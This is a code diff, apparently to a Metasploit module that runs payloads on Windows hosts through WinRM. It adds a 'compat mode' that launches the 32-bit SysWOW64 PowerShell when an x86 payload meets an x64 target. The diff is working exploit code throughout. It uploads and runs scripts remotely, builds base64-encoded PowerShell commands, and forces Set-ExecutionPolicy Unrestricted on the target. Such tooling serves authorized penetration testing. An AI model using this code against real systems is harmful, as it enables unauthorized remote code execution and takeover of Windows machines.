@@ -65,7 +65,7 @@ def initialize(info = {})
65
65
OptString . new ( 'DECODERSTUB' , [ true , 'The VBS base64 file decoder stub to use.' ,
66
66
File . join ( Msf ::Config . install_root , "data" , "exploits" , "cmdstager" , "vbs_b64_sleep" ) ] ) ,
67
67
] , self . class )
68
-
68
+ @compat_mode = false
69
69
end
70
70
71
71
def check
@@ -83,7 +83,6 @@ def exploit
83
83
return
84
84
end
85
85
if powershell2?
86
- return unless correct_payload_arch?
87
86
path = upload_script
88
87
return if path . nil?
89
88
exec_script ( path )
@@ -127,15 +126,15 @@ def upload_script
127
126
128
127
def exec_script ( path )
129
128
print_status "Attempting to execute script..."
130
- cmd = "powershell -File #{ path } "
129
+ cmd = "#{ @invoke_powershell } -File #{ path } "
131
130
winrm_run_cmd_hanging ( cmd )
132
131
end
133
132
134
133
def encoded_psh ( script )
135
134
script = script . chars . to_a . join ( "\x00 " ) . chomp
136
135
script << "\x00 " unless script [ -1 ] . eql? "\x00 "
137
136
script = Rex ::Text . encode_base64 ( script ) . chomp
138
- cmd = "powershell -encodedCommand #{ script } "
137
+ cmd = "#{ @invoke_powershell } -encodedCommand #{ script } "
139
138
end
140
139
141
140
def temp_dir
@@ -173,11 +172,12 @@ def check_remote_arch
173
172
end
174
173
175
174
def correct_payload_arch?
176
- target_arch = check_remote_arch
177
- case target_arch
175
+ @ target_arch = check_remote_arch
176
+ case @ target_arch
178
177
when "x64"
179
178
unless datastore [ 'PAYLOAD' ] . include? "x64"
180
- print_error "You selected an x86 payload for an x64 target!"
179
+ print_error "You selected an x86 payload for an x64 target...trying to run in compat mode"
180
+ @compat_mode = true
181
181
return false
182
182
end
183
183
when "x86"
@@ -218,8 +218,15 @@ def powershell2?
218
218
end
219
219
end
220
220
221
+ return false unless correct_payload_arch? or @target_arch == "x64"
222
+ if @compat_mode == true
223
+ @invoke_powershell = "%SYSTEMROOT%\\ SysWOW64\\ WindowsPowerShell\\ v1.0\\ powershell.exe"
224
+ else
225
+ @invoke_powershell = "powershell"
226
+ end
227
+
221
228
print_status "Attempting to set Execution Policy"
222
- streams = winrm_run_cmd ( "powershell Set-ExecutionPolicy Unrestricted" )
229
+ streams = winrm_run_cmd ( "#{ @invoke_powershell } Set-ExecutionPolicy Unrestricted" )
223
230
if streams == 401
224
231
print_error "Login failed!"
225
232
return false
@@ -228,7 +235,7 @@ def powershell2?
228
235
print_error "Recieved error while running check"
229
236
return false
230
237
end
231
- streams = winrm_run_cmd ( "powershell Get-ExecutionPolicy" )
238
+ streams = winrm_run_cmd ( "#{ @invoke_powershell } Get-ExecutionPolicy" )
232
239
if streams [ 'stdout' ] . include? 'Unrestricted'
233
240
print_good "Set Execution Policy Successfully"
234
241
return true
0 commit comments